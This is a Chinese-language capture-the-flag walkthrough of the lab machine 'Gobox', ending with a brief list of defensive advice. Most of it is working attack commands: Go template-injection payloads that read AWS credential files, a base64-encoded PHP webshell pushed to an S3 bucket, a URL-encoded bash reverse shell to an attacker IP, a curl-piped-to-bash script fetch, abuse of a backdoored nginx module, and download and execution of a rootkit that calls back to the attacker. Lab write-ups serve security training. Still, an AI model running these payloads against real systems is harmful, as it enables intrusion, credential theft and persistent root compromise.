[Meachines] [Medium] Gobox Golang-SSTI+AWS-S3-buckets+Nginx-Backdoor.so权限提升+Tyrant持久化
字数 1111 2025-08-29 08:30:18
Gobox渗透测试实战:从SSTI到Root权限获取
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.11.113
- 开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: nginx (标题: Hacking eSports | {{.Title}})
- 4566/tcp: nginx (403 Forbidden)
- 8080/tcp: nginx (标题: Hacking eSports | Home page)
1.2 扫描技术
使用以下命令进行快速扫描:
ip='10.10.11.113'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
2. 初始访问:Golang SSTI漏洞利用
2.1 目标配置
echo '10.10.11.113 gobox.htb'>>/etc/hosts
2.2 漏洞发现
目标网站使用Golang模板引擎,存在服务器端模板注入(SSTI)漏洞。
2.3 漏洞利用步骤
- 访问忘记密码功能:
curl -X POST http://gobox.htb:8080/forgot/ -d "email=test@example.com"
- 利用SSTI执行命令:
# 获取主机名
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "hostname" }}'
# 列出home目录
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "ls ~ -la" }}'
# 读取AWS凭证
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "cat ~/.aws/*" }}'
获取到的AWS凭证:
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
3. AWS S3存储桶利用
3.1 枚举S3存储桶
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "aws s3api list-buckets" }}'
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "aws s3 ls s3://website" }}'
3.2 上传Webshell
- 创建PHP webshell:
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "echo -n PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTsgPz4K | base64 -d > /tmp/shell.php" }}'
- 上传到S3存储桶:
curl -X POST http://gobox.htb:8080/forgot/ -d 'email={{ .DebugCmd "aws s3 cp /tmp/shell.php s3://website/shell.php" }}'
- 访问webshell执行命令:
curl 'http://gobox.htb/shell.php?shell=id'
- 获取反向shell:
curl 'http://gobox.htb/shell.php?shell=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%33%33%2f%31%30%30%33%32%20%30%3e%26%31%27'
获取user flag:
b3fe16c3ec3d2d2e65faac130f0f2498
4. 权限提升:Nginx后门模块利用
4.1 发现Nginx后门模块
目标系统存在Nginx后门模块ngx_http_execute_module.so。
4.2 利用KTOR工具
www-data@gobox:~$ curl http://10.10.16.33/ktor.sh|bash -s -- -l -p all
4.3 验证后门模块
www-data@gobox:~$ strings /usr/share/nginx/modules/ngx_http_execute_module.so| grep run
4.4 利用后门执行命令
www-data@gobox:~$ curl -g "http://127.0.0.1:8000/?ippsec.run[id]"
5. 持久化:Tyrant rootkit部署
5.1 下载Tyrant
www-data@gobox:~$ curl http://10.10.16.33/base/tyrant -o /tmp/tyrant
5.2 设置执行权限
www-data@gobox:~$ curl -g "http://127.0.0.1:8000/?ippsec.run[chmod +x /tmp/tyrant;/tmp/tyrant]"
5.3 执行Tyrant获取root
www-data@gobox:~$ /tmp/tyrant -uid 0 -rhost 10.10.16.33 -rport 443
获取root flag:
d6d6a6ab1e9439036b7901dd8ccd1d55
6. 关键知识点总结
-
Golang SSTI漏洞:
- 通过模板注入执行系统命令
- 利用
DebugCmd函数执行任意命令
-
AWS S3存储桶利用:
- 通过AWS CLI工具枚举和操作S3存储桶
- 上传webshell实现远程代码执行
-
Nginx后门模块:
ngx_http_execute_module.so模块提供远程命令执行- 通过特殊URL参数触发命令执行
-
Tyrant rootkit:
- 提供持久化访问
- 允许权限提升到root
-
渗透测试流程:
- 信息收集 → 初始访问 → 权限提升 → 持久化
- 每个阶段都利用了不同的技术组合
7. 防御建议
-
防止SSTI:
- 对用户输入进行严格过滤
- 禁用模板引擎的调试功能
-
AWS安全:
- 遵循最小权限原则配置IAM
- 定期轮换访问密钥
- 启用S3存储桶日志记录
-
Nginx安全:
- 仅加载可信模块
- 定期审计服务器配置
-
Rootkit防御:
- 使用完整性检查工具检测文件修改
- 监控异常网络连接
- 实施严格的权限控制